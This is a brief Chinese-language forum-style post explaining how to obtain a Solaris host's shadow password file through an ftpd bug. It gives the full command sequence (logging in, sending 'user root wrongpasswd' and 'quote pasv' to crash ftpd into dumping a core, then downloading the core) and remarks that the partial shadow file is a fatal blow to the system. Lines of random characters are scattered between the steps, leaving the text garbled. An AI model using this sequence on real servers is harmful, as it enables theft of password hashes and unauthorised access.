如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：
7 o, p4 @/ h- F& d* t* f
1.通过 ftp 正常登录到目的主机上
2 f  z* \) j. E  ]" k
( G/ V+ g  g' |, C  ~2.输入如下命令序列：
3 `, s/ a. K: ~
ftp> user root wrongpasswd
" j# [& w1 i9 M2 ]
ftp> quote pasv
1 P, {  X, Y  T5 t! ^
3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
4 J/ t) W$ i) j# S$ U5 s
, ^* b8 E8 `' J! r6 `% u8 u4.再次进入FTP >get core
, R" U" D2 O* K4 ?1 o
补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了